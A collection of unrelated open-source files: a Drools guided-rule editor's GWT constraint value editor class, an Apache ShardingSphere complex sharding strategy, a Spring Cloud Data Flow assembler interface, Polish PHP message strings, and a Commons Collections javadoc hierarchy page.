text:
package org.drools.workbench.screens.guided.rule.client.editor;

import java.util.Date;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;

import com.google.gwt.dom.client.InputElement;
import com.google.gwt.event.dom.client.ChangeEvent;
import com.google.gwt.event.dom.client.ChangeHandler;
import com.google.gwt.event.dom.client.ClickEvent;
import com.google.gwt.event.dom.client.ClickHandler;
import com.google.gwt.event.dom.client.KeyUpEvent;
import com.google.gwt.event.dom.client.KeyUpHandler;
import com.google.gwt.event.logical.shared.ValueChangeEvent;
import com.google.gwt.event.logical.shared.ValueChangeHandler;
import com.google.gwt.event.shared.EventBus;
import com.google.gwt.i18n.client.DateTimeFormat;
import com.google.gwt.user.client.Command;
import com.google.gwt.user.client.Window;
import com.google.gwt.user.client.ui.Composite;
import com.google.gwt.user.client.ui.HTML;
import com.google.gwt.user.client.ui.HasVerticalAlignment;
import com.google.gwt.user.client.ui.HorizontalPanel;
import com.google.gwt.user.client.ui.Image;
import com.google.gwt.user.client.ui.IsWidget;
import com.google.gwt.user.client.ui.Panel;
import com.google.gwt.user.client.ui.SimplePanel;
import com.google.gwt.user.client.ui.Widget;
import org.drools.workbench.models.datamodel.oracle.DataType;
import org.drools.workbench.models.datamodel.oracle.DropDownData;
import org.drools.workbench.models.datamodel.oracle.OperatorsOracle;
import org.drools.workbench.models.datamodel.rule.BaseSingleFieldConstraint;
import org.drools.workbench.models.datamodel.rule.CompositeFieldConstraint;
import org.drools.workbench.models.datamodel.rule.ConnectiveConstraint;
import org.drools.workbench.models.datamodel.rule.ExpressionFormLine;
import org.drools.workbench.models.datamodel.rule.FieldConstraint;
import org.drools.workbench.models.datamodel.rule.RuleModel;
import org.drools.workbench.models.datamodel.rule.SingleFieldConstraint;
import org.drools.workbench.models.datamodel.rule.SingleFieldConstraintEBLeftSide;
import org.drools.workbench.screens.guided.rule.client.editor.events.TemplateVariablesChangedEvent;
import org.drools.workbench.screens.guided.rule.client.editor.util.ConstraintValueEditorHelper;
import org.drools.workbench.screens.guided.rule.client.resources.GuidedRuleEditorResources;
import org.drools.workbench.screens.guided.rule.client.resources.images.GuidedRuleEditorImages508;
import org.drools.workbench.screens.guided.rule.client.widget.EnumDropDown;
import org.drools.workbench.screens.guided.rule.client.widget.ExpressionBuilder;
import org.guvnor.common.services.workingset.client.WorkingSetManager;
import org.guvnor.common.services.workingset.client.factconstraints.customform.CustomFormConfiguration;
import org.gwtbootstrap3.client.ui.Button;
import org.gwtbootstrap3.client.ui.ListBox;
import org.gwtbootstrap3.client.ui.TextBox;
import org.jboss.errai.ioc.client.container.IOC;
import org.kie.workbench.common.services.shared.preferences.ApplicationPreferences;
import org.kie.workbench.common.widgets.client.datamodel.AsyncPackageDataModelOracle;
import org.kie.workbench.common.widgets.client.datamodel.CEPOracle;
import org.kie.workbench.common.widgets.client.widget.TextBoxFactory;
import org.uberfire.client.callbacks.Callback;
import org.uberfire.ext.widgets.common.client.common.DatePicker;
import org.uberfire.ext.widgets.common.client.common.DropDownValueChanged;
import org.uberfire.ext.widgets.common.client.common.InfoPopup;
import org.uberfire.ext.widgets.common.client.common.SmallLabel;
import org.uberfire.ext.widgets.common.client.common.popups.FormStylePopup;

/**
 * This is an editor for constraint values. How this behaves depends on the
 * constraint value type. When the constraint value has no type, it will allow
 * the user to choose the first time.
 */
public class ConstraintValueEditor
        extends Composite {

    private static final String DATE_FORMAT = ApplicationPreferences.getDroolsDateFormat();
    private static final DateTimeFormat DATE_FORMATTER = DateTimeFormat.getFormat( DATE_FORMAT );

    private final ConstraintValueEditorHelper helper;
    private WorkingSetManager workingSetManager = null;

    private String factType;
    private CompositeFieldConstraint constraintList;
    private String fieldName;
    private String fieldType;

    private final AsyncPackageDataModelOracle oracle;
    private final BaseSingleFieldConstraint constraint;
    private final Panel panel = new SimplePanel();
    private final RuleModel model;
    private final RuleModeller modeller;
    private final EventBus eventBus;

    private DropDownData dropDownData;
    private boolean readOnly;

    private Command onValueChangeCommand;
    private Command onTemplateValueChangeCommand;
    private boolean isDropDownDataEnum;
    private Widget constraintWidget = null;
    private AddConstraintButton addConstraintButton = new AddConstraintButton(
            new ClickHandler() {
                public void onClick( ClickEvent event ) {
                    showTypeChoice( (Widget) event.getSource(),
                                    constraint );
                }
            } );

    public ConstraintValueEditor( BaseSingleFieldConstraint con,
                                  CompositeFieldConstraint constraintList,
                                  RuleModeller modeller,
                                  EventBus eventBus,
                                  boolean readOnly ) {
        this.constraint = con;
        this.constraintList = constraintList;
        this.oracle = modeller.getDataModelOracle();
        this.model = modeller.getModel();

        this.modeller = modeller;
        this.eventBus = eventBus;
        this.readOnly = readOnly;

        setUpConstraint();

        helper = new ConstraintValueEditorHelper( model,
                                                  oracle,
                                                  factType,
                                                  fieldName,
                                                  constraint,
                                                  fieldType,
                                                  dropDownData );

        refreshEditor();
        initWidget( panel );
    }

    private void setUpConstraint() {
        if ( constraint instanceof SingleFieldConstraintEBLeftSide ) {
            setUpSingleFieldConstraintEBLeftSide( (SingleFieldConstraintEBLeftSide) constraint );

        } else if ( constraint instanceof ConnectiveConstraint ) {
            setUpConnectiveConstraint( (ConnectiveConstraint) constraint );

        } else if ( constraint instanceof SingleFieldConstraint ) {
            setUpSingleFieldConstraint( (SingleFieldConstraint) constraint );
        }
    }

    private void setUpSingleFieldConstraint( SingleFieldConstraint sfc ) {
        this.factType = sfc.getFactType();
        this.fieldName = sfc.getFieldName();
        this.fieldType = oracle.getFieldType( factType,
                                              fieldName );
    }

    private void setUpConnectiveConstraint( ConnectiveConstraint cc ) {
        this.factType = cc.getFactType();
        this.fieldName = cc.getFieldName();
        this.fieldType = cc.getFieldType();
    }

    private void setUpSingleFieldConstraintEBLeftSide( SingleFieldConstraintEBLeftSide sfexp ) {
        this.factType = sfexp.getExpressionLeftSide().getPreviousClassType();
        if ( this.factType == null ) {
            this.factType = sfexp.getExpressionLeftSide().getClassType();
        }
        this.fieldName = sfexp.getExpressionLeftSide().getFieldName();
        this.fieldType = sfexp.getExpressionLeftSide().getGenericType();
    }

    public BaseSingleFieldConstraint getConstraint() {
        return constraint;
    }

    public void refreshEditor() {
        panel.clear();
        constraintWidget = null;

        //Expressions' fieldName and hence fieldType can change without creating a new ConstraintValueEditor.
        //SingleFieldConstraints and their ConnectiveConstraints cannot have the fieldName or fieldType changed
        //without first deleting and re-creating.
        if ( this.constraint instanceof SingleFieldConstraintEBLeftSide ) {
            setUpSingleFieldConstraintEBLeftSide( (SingleFieldConstraintEBLeftSide) this.constraint );
        }

        //Initialise drop-down data
        getDropDownData();

        //Show an editor for the constraint value type
        if ( constraint.getConstraintValueType() == SingleFieldConstraint.TYPE_UNDEFINED ) {
            addAddConstraintButton();
        } else {
            addConstraintWidget();
        }

        panel.add( constraintWidget );
    }

    private void addConstraintWidget() {
        switch ( constraint.getConstraintValueType() ) {
            case SingleFieldConstraint.TYPE_LITERAL:
            case SingleFieldConstraint.TYPE_ENUM:
                constraintWidget = wrap( literalEditor() );
                break;
            case SingleFieldConstraint.TYPE_RET_VALUE:
                constraintWidget = wrap( returnValueEditor() );
                break;
            case SingleFieldConstraint.TYPE_EXPR_BUILDER_VALUE:
                constraintWidget = wrap( expressionEditor() );
                break;
            case SingleFieldConstraint.TYPE_VARIABLE:
                constraintWidget = wrap( variableEditor() );
                break;
            case BaseSingleFieldConstraint.TYPE_TEMPLATE:
                constraintWidget = wrap( templateKeyEditor() );
                break;
            default:
                break;
        }
    }

    private void addAddConstraintButton() {
        addConstraintButton.setEnabled( !this.readOnly );
        constraintWidget = addConstraintButton;
    }

    public void showError() {
        addConstraintButton.showError();
    }

    public void hideError() {
        addConstraintButton.hideError();
    }

    //Wrap a Constraint Value Editor with an icon to remove the type
    private Widget wrap( Widget widget ) {
        if ( this.readOnly ) {
            return widget;
        }
        HorizontalPanel wrapper = new HorizontalPanel();
        Image clear = GuidedRuleEditorImages508.INSTANCE.DeleteItemSmall();
        clear.setTitle( GuidedRuleEditorResources.CONSTANTS.RemoveConstraintValueDefinition() );
        clear.addClickHandler( new ClickHandler() {

            public void onClick( ClickEvent event ) {
                //Reset Constraint's value and value type
                if ( Window.confirm( GuidedRuleEditorResources.CONSTANTS.RemoveConstraintValueDefinitionQuestion() ) ) {
                    constraint.setConstraintValueType( BaseSingleFieldConstraint.TYPE_UNDEFINED );
                    constraint.setValue( null );
                    constraint.clearParameters();
                    constraint.setExpressionValue( new ExpressionFormLine() );
                    doTypeChosen();
                }
            }

        } );

        wrapper.add( widget );
        if ( !this.readOnly ) {
            wrapper.add( clear );
            wrapper.setCellVerticalAlignment( clear,
                                              HasVerticalAlignment.ALIGN_MIDDLE );
        }
        return wrapper;
    }

    private String assertValue() {
        if ( constraint.getValue() == null ) {
            return "";
        }
        return constraint.getValue();
    }

    private Date assertDateValue() {
        if ( constraint.getValue() == null ) {
            return null;
        }

        try {
            return DATE_FORMATTER.parse( constraint.getValue() );

        } catch ( IllegalArgumentException iae ) {
            return null;
        }
    }

    private Widget literalEditor() {

        //Custom screen
        if ( this.constraint instanceof SingleFieldConstraint ) {
            final SingleFieldConstraint con = (SingleFieldConstraint) this.constraint;
            CustomFormConfiguration customFormConfiguration = getWorkingSetManager().getCustomFormConfiguration( modeller.getPath(),
                                                                                factType,
                                                                                fieldName );
            if ( customFormConfiguration != null ) {
                Button btnCustom = new Button( con.getValue(),
                                               new ClickHandler() {

                                                   public void onClick( ClickEvent event ) {
                                                       showTypeChoice( (Widget) event.getSource(),
                                                                       constraint );
                                                   }
                                               } );
                btnCustom.setEnabled( !this.readOnly );
                return btnCustom;
            }
        }

        //Label if read-only
        if ( this.readOnly ) {
            return new SmallLabel( assertValue() );
        }

        //Enumeration (these support multi-select for "in" and "not in", so check before comma separated lists)
        if ( this.dropDownData != null ) {
            final String operator = constraint.getOperator();
            final boolean multipleSelect = OperatorsOracle.operatorRequiresList( operator );
            EnumDropDown enumDropDown = new EnumDropDown( constraint.getValue(),
                                                          new DropDownValueChanged() {

                                                              public void valueChanged( String newText,
                                                                                String newValue ) {

                                                                  //Prevent recursion once value change has been applied
                                                                  if ( !newValue.equals( constraint.getValue() ) ) {
                                                                      constraint.setValue( newValue );
                                                                      executeOnValueChangeCommand();
                                                                  }
                                                              }
                                                          },
                                                          dropDownData,
                                                          multipleSelect,
                                                          modeller.getPath() );
            return enumDropDown;
        }

        //Comma separated value list (this will become a dedicated Widget but for now a TextBox suffices)
        String operator = null;
        if ( this.constraint instanceof SingleFieldConstraint ) {
            SingleFieldConstraint sfc = (SingleFieldConstraint) this.constraint;
            operator = sfc.getOperator();
        }
        if ( OperatorsOracle.operatorRequiresList( operator ) ) {
            final TextBox box = TextBoxFactory.getTextBox( DataType.TYPE_STRING );
            box.setStyleName( "constraint-value-Editor" );
            box.addValueChangeHandler( new ValueChangeHandler<String>() {

                public void onValueChange( final ValueChangeEvent<String> event ) {
                    constraint.setValue( event.getValue() );
                    executeOnValueChangeCommand();
                }
            } );

            box.setText( assertValue() );
            attachDisplayLengthHandler( box );
            return box;
        }

        //Date picker
        boolean isCEPOperator = CEPOracle.isCEPOperator( ( this.constraint ).getOperator() );
        if ( DataType.TYPE_DATE.equals( this.fieldType ) || ( DataType.TYPE_THIS.equals( this.fieldName ) && isCEPOperator ) ) {
            if ( this.readOnly ) {
                return new SmallLabel( constraint.getValue() );
            }

            final DatePicker datePicker = new DatePicker( false );

            // Wire up update handler
            datePicker.addValueChangeHandler( new ValueChangeHandler<Date>() {
                @Override
                public void onValueChange( final ValueChangeEvent<Date> event ) {
                    final Date date = datePicker.getValue();
                    final String sDate = ( date == null ? null : DATE_FORMATTER.format( datePicker.getValue() ) );
                    boolean update = constraint.getValue() == null || !constraint.getValue().equals( sDate );

                    constraint.setValue( sDate );

                    if ( update ) {
                        executeOnValueChangeCommand();
                    }
                }
            } );

            datePicker.setFormat( DATE_FORMAT );
            datePicker.setValue( assertDateValue() );

            return datePicker;
        }

        //Default editor for all other literals
        final TextBox box = TextBoxFactory.getTextBox( fieldType );
        box.setStyleName( "constraint-value-Editor" );
        box.addValueChangeHandler( new ValueChangeHandler<String>() {

            public void onValueChange( final ValueChangeEvent<String> event ) {
                constraint.setValue( event.getValue() );
                executeOnValueChangeCommand();
            }
        } );

        box.setText( assertValue() );
        attachDisplayLengthHandler( box );
        return box;
    }

    private Widget variableEditor() {

        if ( this.readOnly ) {
            return new SmallLabel( this.constraint.getValue() );
        }

        final ListBox box = new ListBox();
        box.addItem( GuidedRuleEditorResources.CONSTANTS.Choose() );

        List<String> bindingsInScope = this.model.getBoundVariablesInScope( this.constraint );

        for ( String var : bindingsInScope ) {
            final String binding = var;
            helper.isApplicableBindingsInScope( var,
                                                new Callback<Boolean>() {
                                                    @Override
                                                    public void callback( final Boolean result ) {
                                                        if ( Boolean.TRUE.equals( result ) ) {
                                                            box.addItem( binding );
                                                            if ( ConstraintValueEditor.this.constraint.getValue() != null && ConstraintValueEditor.this.constraint.getValue().equals( binding ) ) {
                                                                box.setSelectedIndex( box.getItemCount() - 1 );
                                                            }
                                                        }
                                                    }
                                                } );
        }

        box.addChangeHandler( new ChangeHandler() {

            public void onChange( ChangeEvent event ) {
                executeOnValueChangeCommand();
                int selectedIndex = box.getSelectedIndex();
                if ( selectedIndex > 0 ) {
                    constraint.setValue( box.getItemText( selectedIndex ) );
                } else {
                    constraint.setValue( null );
                }
            }
        } );

        return box;
    }

    /**
     * An editor for the retval "formula" (expression).
     */
    private Widget returnValueEditor() {
        TextBox box = new BoundTextBox( constraint );

        if ( this.readOnly ) {
            return new SmallLabel( box.getText() );
        }

        String msg = GuidedRuleEditorResources.CONSTANTS.FormulaEvaluateToAValue();
        Image img = new Image( GuidedRuleEditorResources.INSTANCE.images().functionAssets() );
        img.setTitle( msg );
        box.setTitle( msg );
        box.addValueChangeHandler( new ValueChangeHandler<String>() {

            public void onValueChange( final ValueChangeEvent event ) {
                executeOnValueChangeCommand();
            }
        } );

        Widget ed = widgets( img,
                             box );
        return ed;
    }

    private Widget expressionEditor() {
        ExpressionBuilder builder = null;
        builder = new ExpressionBuilder( this.modeller,
                                         this.eventBus,
                                         this.constraint.getExpressionValue(),
                                         this.readOnly );

        builder.addOnModifiedCommand( new Command() {

            public void execute() {
                executeOnValueChangeCommand();
            }
        } );
        Widget ed = widgets( new HTML( " " ),
                             builder );
        return ed;
    }

    /**
     * An editor for Template Keys
     */
    private Widget templateKeyEditor() {
        if ( this.readOnly ) {
            return new SmallLabel( assertValue() );
        }

        TemplateKeyTextBox box = new TemplateKeyTextBox();
        box.setStyleName( "constraint-value-Editor" );
        box.addValueChangeHandler( new ValueChangeHandler<String>() {

            @Override
            public void onValueChange( final ValueChangeEvent<String> event ) {
                constraint.setValue( event.getValue() );
                executeOnTemplateValueChangeCommand();
            }

        } );
        //FireEvents as the box could assume a default value
        box.setValue( assertValue(),
                      true );
        attachDisplayLengthHandler( box );
        return box;
    }

    //Only display the number of characters that have been entered
    private void attachDisplayLengthHandler( final TextBox box ) {
        int length = box.getText().length();
        ( (InputElement) box.getElement().cast() ).setSize( length > 0 ? length : 1 );
        box.addKeyUpHandler( new KeyUpHandler() {

            public void onKeyUp( KeyUpEvent event ) {
                int length = box.getText().length();
                ( (InputElement) box.getElement().cast() ).setSize( length > 0 ? length : 1 );
            }
        } );
    }

    /**
     * Show a list of possibilities for the value type.
     */
    private void showTypeChoice( Widget w,
                                 final BaseSingleFieldConstraint con ) {

        CustomFormConfiguration customFormConfiguration = getWorkingSetManager().getCustomFormConfiguration( modeller.getPath(),
                                                                                factType,
                                                                                fieldName );

        if ( customFormConfiguration != null ) {
            if ( !( con instanceof SingleFieldConstraint ) ) {
                Window.alert( "Unexpected constraint type!" );
                return;
            }
            final CustomFormPopUp customFormPopUp = new CustomFormPopUp( GuidedRuleEditorImages508.INSTANCE.Wizard(),
                                                                         GuidedRuleEditorResources.CONSTANTS.FieldValue(),
                                                                         customFormConfiguration );

            final SingleFieldConstraint sfc = (SingleFieldConstraint) con;

            customFormPopUp.addOkButtonHandler( new ClickHandler() {

                public void onClick( ClickEvent event ) {
                    sfc.setConstraintValueType( SingleFieldConstraint.TYPE_LITERAL );
                    sfc.setId( customFormPopUp.getFormId() );
                    sfc.setValue( customFormPopUp.getFormValue() );
                    doTypeChosen( customFormPopUp );
                }
            } );

            customFormPopUp.show( sfc.getId(),
                                  sfc.getValue() );
            return;
        }

        final FormStylePopup form = new FormStylePopup( GuidedRuleEditorImages508.INSTANCE.Wizard(),
                                                        GuidedRuleEditorResources.CONSTANTS.FieldValue() );

        Button lit = new Button( GuidedRuleEditorResources.CONSTANTS.LiteralValue() );
        lit.addClickHandler( new ClickHandler() {
            public void onClick( ClickEvent event ) {
                con.setConstraintValueType( isDropDownDataEnum && dropDownData != null ? SingleFieldConstraint.TYPE_ENUM : SingleFieldConstraint.TYPE_LITERAL );
                doTypeChosen( form );
            }
        } );

        boolean showLiteralSelector = true;
        boolean showFormulaSelector = !OperatorsOracle.operatorRequiresList( con.getOperator() );
        boolean showVariableSelector = !OperatorsOracle.operatorRequiresList( con.getOperator() );
        boolean showExpressionSelector = !OperatorsOracle.operatorRequiresList( con.getOperator() );

        if ( con instanceof SingleFieldConstraint ) {
            SingleFieldConstraint sfc = (SingleFieldConstraint) con;
            String fieldName = sfc.getFieldName();
            if ( fieldName.equals( DataType.TYPE_THIS ) ) {
                showLiteralSelector = CEPOracle.isCEPOperator( sfc.getOperator() );
                showFormulaSelector = showFormulaSelector && showLiteralSelector;
            }
        } else if ( con instanceof ConnectiveConstraint ) {
            ConnectiveConstraint cc = (ConnectiveConstraint) con;
            String fieldName = cc.getFieldName();
            if ( fieldName.equals( DataType.TYPE_THIS ) ) {
                showLiteralSelector = CEPOracle.isCEPOperator( cc.getOperator() );
                showFormulaSelector = showFormulaSelector && showLiteralSelector;
            }
        }

        //Literal value selector
        if ( showLiteralSelector ) {
            form.addAttribute( GuidedRuleEditorResources.CONSTANTS.LiteralValue() + ":",
                               widgets( lit,
                                        new InfoPopup( GuidedRuleEditorResources.CONSTANTS.LiteralValue(),
                                                       GuidedRuleEditorResources.CONSTANTS.LiteralValTip() ) ) );
        }

        //Template key selector
        if ( modeller.isTemplate() ) {
            String templateKeyLabel = GuidedRuleEditorResources.CONSTANTS.TemplateKey();
            Button templateKeyButton = new Button( templateKeyLabel );
            templateKeyButton.addClickHandler( new ClickHandler() {

                public void onClick( ClickEvent event ) {
                    con.setConstraintValueType( BaseSingleFieldConstraint.TYPE_TEMPLATE );
                    doTypeChosen( form );
                }
            } );

            form.addAttribute( templateKeyLabel + ":",
                               widgets( templateKeyButton,
                                        new InfoPopup( templateKeyLabel,
                                                       GuidedRuleEditorResources.CONSTANTS.LiteralValTip() ) ) );
        }

        //Divider, if we have any advanced options
        if ( showVariableSelector || showFormulaSelector || showExpressionSelector ) {
            form.addRow( new HTML( "<hr/>" ) );
            form.addRow( new SmallLabel( GuidedRuleEditorResources.CONSTANTS.AdvancedOptions() ) );
        }

        //Show variables selector, if there are any variables in scope
        if ( showVariableSelector ) {
            List<String> bindingsInScope = this.model.getBoundVariablesInScope( this.constraint );
            if ( bindingsInScope.size() > 0 || DataType.TYPE_COLLECTION.equals( this.fieldType ) ) {

                final Button bindingButton = new Button( GuidedRuleEditorResources.CONSTANTS.BoundVariable() );

                //This Set is used as a 1flag to know whether the button has been added; due to use of callbacks
                final Set<Button> bindingButtonContainer = new HashSet<Button>();

                for ( String var : bindingsInScope ) {
                    helper.isApplicableBindingsInScope( var,
                                                        new Callback<Boolean>() {
                                                            @Override
                                                            public void callback( final Boolean result ) {
                                                                if ( Boolean.TRUE.equals( result ) ) {
                                                                    if ( !bindingButtonContainer.contains( bindingButton ) ) {
                                                                        bindingButtonContainer.add( bindingButton );
                                                                        bindingButton.addClickHandler( new ClickHandler() {

                                                                            public void onClick( ClickEvent event ) {
                                                                                con.setConstraintValueType( SingleFieldConstraint.TYPE_VARIABLE );
                                                                                doTypeChosen( form );
                                                                            }
                                                                        } );
                                                                        form.addAttribute( GuidedRuleEditorResources.CONSTANTS.AVariable(),
                                                                                widgets( bindingButton,
                                                                                new InfoPopup( GuidedRuleEditorResources.CONSTANTS.ABoundVariable(),
                                                                                GuidedRuleEditorResources.CONSTANTS.BoundVariableTip() ) ) );
                                                                    }
                                                                }
                                                            }
                                                        } );

                }
            }
        }

        //Formula selector
        if ( showFormulaSelector ) {
            Button formula = new Button( GuidedRuleEditorResources.CONSTANTS.NewFormula() );
            formula.addClickHandler( new ClickHandler() {

                public void onClick( ClickEvent event ) {
                    con.setConstraintValueType( SingleFieldConstraint.TYPE_RET_VALUE );
                    doTypeChosen( form );
                }
            } );

            form.addAttribute( GuidedRuleEditorResources.CONSTANTS.AFormula() + ":",
                               widgets( formula,
                                        new InfoPopup( GuidedRuleEditorResources.CONSTANTS.AFormula(),
                                                       GuidedRuleEditorResources.CONSTANTS.FormulaExpressionTip() ) ) );
        }

        //Expression selector
        if ( showExpressionSelector ) {
            Button expression = new Button( GuidedRuleEditorResources.CONSTANTS.ExpressionEditor() );
            expression.addClickHandler( new ClickHandler() {

                public void onClick( ClickEvent event ) {
                    con.setConstraintValueType( SingleFieldConstraint.TYPE_EXPR_BUILDER_VALUE );
                    doTypeChosen( form );
                }
            } );

            form.addAttribute( GuidedRuleEditorResources.CONSTANTS.ExpressionEditor() + ":",
                               widgets( expression,
                                        new InfoPopup( GuidedRuleEditorResources.CONSTANTS.ExpressionEditor(),
                                                       GuidedRuleEditorResources.CONSTANTS.ExpressionEditor() ) ) );
        }

        form.show();
    }

    private void doTypeChosen() {
        executeOnValueChangeCommand();
        executeOnTemplateVariablesChange();
        refreshEditor();
    }

    private void doTypeChosen( final FormStylePopup form ) {
        doTypeChosen();
        form.hide();
    }

    private Panel widgets( IsWidget left,
                           IsWidget right ) {
        HorizontalPanel panel = new HorizontalPanel();
        panel.setVerticalAlignment( HasVerticalAlignment.ALIGN_MIDDLE );
        panel.add( left );
        panel.add( right );
        panel.setWidth( "100%" );
        return panel;
    }

    public void setOnValueChangeCommand( Command onValueChangeCommand ) {
        this.onValueChangeCommand = onValueChangeCommand;
    }

    private void executeOnValueChangeCommand() {
        if ( this.onValueChangeCommand != null ) {
            this.onValueChangeCommand.execute();
        }
    }

    public void setOnTemplateValueChangeCommand( Command onTemplateValueChangeCommand ) {
        this.onTemplateValueChangeCommand = onTemplateValueChangeCommand;
    }

    private void executeOnTemplateValueChangeCommand() {
        if ( this.onTemplateValueChangeCommand != null ) {
            this.onTemplateValueChangeCommand.execute();
        }
    }

    private DropDownData getDropDownData() {
        //Set applicable flags and reference data depending upon type
        if ( DataType.TYPE_BOOLEAN.equals( this.fieldType ) ) {
            this.isDropDownDataEnum = false;
            this.dropDownData = DropDownData.create( new String[]{ "true", "false" } );
        } else {
            this.isDropDownDataEnum = true;

            final Map<String, String> currentValueMap = new HashMap<String, String>();

            if ( constraintList != null && constraintList.getConstraints() != null ) {
                for ( FieldConstraint con : constraintList.getConstraints() ) {
                    if ( con instanceof SingleFieldConstraint ) {
                        SingleFieldConstraint sfc = (SingleFieldConstraint) con;
                        String fieldName = sfc.getFieldName();
                        currentValueMap.put( fieldName,
                                             sfc.getValue() );
                    }
                }
            }

            this.dropDownData = oracle.getEnums( this.factType,
                                                 fieldName,
                                                 currentValueMap );
        }
        return dropDownData;
    }

    //Signal (potential) change in Template variables
    private void executeOnTemplateVariablesChange() {
        TemplateVariablesChangedEvent tvce = new TemplateVariablesChangedEvent( model );
        eventBus.fireEventFromSource( tvce, model );
    }

    private WorkingSetManager getWorkingSetManager() {
        if ( workingSetManager == null ) {
            workingSetManager = IOC.getBeanManager().lookupBean( WorkingSetManager.class ).getInstance();
        }
        return workingSetManager;
    }

}

redpajama_set_name: RedPajamaGithub


text:
package org.apache.shardingsphere.sharding.route.strategy.type.complex;

import com.google.common.base.Preconditions;
import com.google.common.base.Splitter;
import com.google.common.collect.Range;
import lombok.Getter;
import org.apache.shardingsphere.infra.config.props.ConfigurationProperties;
import org.apache.shardingsphere.sharding.api.sharding.common.DataNodeInfo;
import org.apache.shardingsphere.sharding.api.sharding.complex.ComplexKeysShardingAlgorithm;
import org.apache.shardingsphere.sharding.api.sharding.complex.ComplexKeysShardingValue;
import org.apache.shardingsphere.sharding.route.engine.condition.value.ListShardingConditionValue;
import org.apache.shardingsphere.sharding.route.engine.condition.value.RangeShardingConditionValue;
import org.apache.shardingsphere.sharding.route.engine.condition.value.ShardingConditionValue;
import org.apache.shardingsphere.sharding.route.strategy.ShardingStrategy;

import java.util.Collection;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeSet;

/**
 * Complex sharding strategy.
 */
@Getter
public final class ComplexShardingStrategy implements ShardingStrategy {

    private final Collection<String> shardingColumns;

    private final ComplexKeysShardingAlgorithm<?> shardingAlgorithm;

    public ComplexShardingStrategy(final String shardingColumns, final ComplexKeysShardingAlgorithm<?> shardingAlgorithm) {
        Preconditions.checkNotNull(shardingColumns, "Sharding columns cannot be null.");
        Preconditions.checkNotNull(shardingAlgorithm, "Sharding algorithm cannot be null.");
        this.shardingColumns = new TreeSet<>(String.CASE_INSENSITIVE_ORDER);
        this.shardingColumns.addAll(Splitter.on(",").trimResults().splitToList(shardingColumns));
        this.shardingAlgorithm = shardingAlgorithm;
    }

    @SuppressWarnings({"unchecked", "rawtypes"})
    @Override
    public Collection<String> doSharding(final Collection<String> availableTargetNames, final Collection<ShardingConditionValue> shardingConditionValues,
                                         final DataNodeInfo dataNodeInfo, final ConfigurationProperties props) {
        Map<String, Collection<Comparable<?>>> columnShardingValues = new HashMap<>(shardingConditionValues.size(), 1);
        Map<String, Range<Comparable<?>>> columnRangeValues = new HashMap<>(shardingConditionValues.size(), 1);
        String logicTableName = "";
        for (ShardingConditionValue each : shardingConditionValues) {
            if (each instanceof ListShardingConditionValue) {
                columnShardingValues.put(each.getColumnName(), ((ListShardingConditionValue) each).getValues());
            } else if (each instanceof RangeShardingConditionValue) {
                columnRangeValues.put(each.getColumnName(), ((RangeShardingConditionValue) each).getValueRange());
            }
            logicTableName = each.getTableName();
        }
        Collection<String> shardingResult = shardingAlgorithm.doSharding(availableTargetNames, new ComplexKeysShardingValue(logicTableName, columnShardingValues, columnRangeValues));
        Collection<String> result = new TreeSet<>(String.CASE_INSENSITIVE_ORDER);
        result.addAll(shardingResult);
        return result;
    }
}


text:
package org.springframework.cloud.dataflow.server.controller.assembler;

import org.springframework.cloud.dataflow.rest.resource.TaskDefinitionResource;
import org.springframework.cloud.dataflow.server.controller.support.TaskExecutionAwareTaskDefinition;
import org.springframework.hateoas.server.RepresentationModelAssembler;

/**
 * The interface that returns the {@link RepresentationModelAssembler} for any type which extends
 * {@link TaskDefinitionResource}.
 *
 * @author Ilayaperumal Gopinathan
 */
public interface TaskDefinitionAssemblerProvider<R extends TaskDefinitionResource> {

	/**
	 * Get the task definition resource assembler.
	 * @param enableManifest boolean flag to indicate whether to retrieve the task execution manifest
	 * @return the task definition resource assembler
	 */
	RepresentationModelAssembler<TaskExecutionAwareTaskDefinition, R> getTaskDefinitionAssembler(boolean enableManifest);

}


text:
<?php
$HERE_INITIALIZATION_TAKE_PLACE = 'Tutaj inicjalizujesz moduł [app::$href].';

// Language
$PROVIDE_LANGUAGE_IS_OKEY = 'Język ok.';
$FORGOT_SET_LANGUAGE = 'Zapomniałeś ustawić języka.';
$LANGUAGE_SETTINGS_IS_WRONG = 'Ustawiony język jest zły.';

// Request
$REQUEST_INIT = 'Moduł request ok.';
$FORGOT_INIT_REQUEST_FIRST = 'Zapomniałeś zainicjować moduł [app::$request].';
$WRONG_REQUEST_OBJECT = 'Moduł [app::$request] został źle zainicjowany.';


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<meta http-equiv="Content-Type" content="text/html" charset="UTF-8">
<title>org.apache.commons.collections4.multiset Class Hierarchy (Apache Commons Collections 4.1 API)</title>
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">

JavaScript is disabled on your browser.

Overview

Package

Class

Use

Tree

Deprecated

Index

Help

Prev

Next

Frames

No Frames

All Classes

Hierarchy For Package org.apache.commons.collections4.multiset

Package Hierarchies:

All Packages

Class Hierarchy

java.lang.Object

java.util.AbstractCollection<E> (implements java.util.Collection<E>)

org.apache.commons.collections4.multiset.AbstractMultiSet<E> (implements org.apache.commons.collections4.MultiSet<E>)

org.apache.commons.collections4.multiset.AbstractMapMultiSet<E>

org.apache.commons.collections4.multiset.HashMultiSet<E> (implements java.io.Serializable)

java.util.AbstractSet<E> (implements java.util.Set<E>)

org.apache.commons.collections4.multiset.AbstractMultiSet.EntrySet<E>

org.apache.commons.collections4.multiset.AbstractMultiSet.UniqueSet<E>

org.apache.commons.collections4.collection.AbstractCollectionDecorator<E> (implements java.util.Collection<E>, java.io.Serializable)

org.apache.commons.collections4.multiset.AbstractMultiSetDecorator<E> (implements org.apache.commons.collections4.MultiSet<E>)

org.apache.commons.collections4.multiset.UnmodifiableMultiSet<E> (implements org.apache.commons.collections4.Unmodifiable)

org.apache.commons.collections4.collection.PredicatedCollection<E>

org.apache.commons.collections4.multiset.PredicatedMultiSet<E> (implements org.apache.commons.collections4.MultiSet<E>)

org.apache.commons.collections4.multiset.AbstractMapMultiSet.EntrySetIterator<E> (implements java.util.Iterator<E>)

org.apache.commons.collections4.multiset.AbstractMapMultiSet.MutableInteger

org.apache.commons.collections4.multiset.AbstractMultiSet.AbstractEntry<E> (implements org.apache.commons.collections4.MultiSet.Entry<E>)

